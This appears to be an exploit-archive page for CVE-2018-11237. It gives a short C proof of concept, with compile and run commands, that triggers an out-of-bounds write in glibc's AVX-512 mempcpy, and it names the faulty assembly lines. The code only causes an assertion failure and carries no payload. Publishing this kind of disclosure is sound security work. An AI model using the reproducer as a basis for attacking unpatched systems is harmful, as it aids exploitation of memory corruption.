exploit the possibilities

GNU glibc Local Buffer Overflow

GNU glibc Local Buffer Overflow
Posted May 24, 2018
Authored by Jameel Nabbo

GNU glibc versions prior to 2.27 suffer from a buffer overflow vulnerability.

tags | exploit, overflow
advisories | CVE-2018-11237
MD5 | f018870406416ccaaf7f240ebf18ae10

GNU glibc Local Buffer Overflow

Change Mirror Download
# Exploit Title: GNU glibc < 2.27 - Local Buffer Overflow
# Date: 2018-05-24
# Exploit Author: JameelNabbo
# Website: jameelnabbo.com <http://jameelnabbo.com/>
# Vendor Homepage: http://www.gnu.org/ <http://www.gnu.org/>
# CVE: CVE-2018-11237


# POC:

$ cat mempcpy.c
#define _GNU_SOURCE 1
#include <string.h>
#include <assert.h>

#define N 97699
char a[N];
char b[N+128];

int
main (void)
{
memset (a, 'x', N);
char *c = mempcpy (b, a, N);
assert (*c == 0);
}
$ gcc -g mempcpy.c -o mempcpy -fno-builtin-mempcpy
$ ./mempcpy
mempcpy: mempcpy.c:14: main: Assertion `*c == 0' failed.

The problem is these two lines in memmove-avx512-no-vzeroupper.S:

vmovups %zmm4, (%rax)
vmovups %zmm5, 0x40(%rax)

For mempcpy, %rax points to the end of the buffer.

Login or Register to add favorites

File Archive:

June 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    35 Files
  • 2
    Jun 2nd
    14 Files
  • 3
    Jun 3rd
    40 Files
  • 4
    Jun 4th
    22 Files
  • 5
    Jun 5th
    1 Files
  • 6
    Jun 6th
    1 Files
  • 7
    Jun 7th
    19 Files
  • 8
    Jun 8th
    14 Files
  • 9
    Jun 9th
    39 Files
  • 10
    Jun 10th
    20 Files
  • 11
    Jun 11th
    22 Files
  • 12
    Jun 12th
    2 Files
  • 13
    Jun 13th
    1 Files
  • 14
    Jun 14th
    32 Files
  • 15
    Jun 15th
    34 Files
  • 16
    Jun 16th
    9 Files
  • 17
    Jun 17th
    33 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close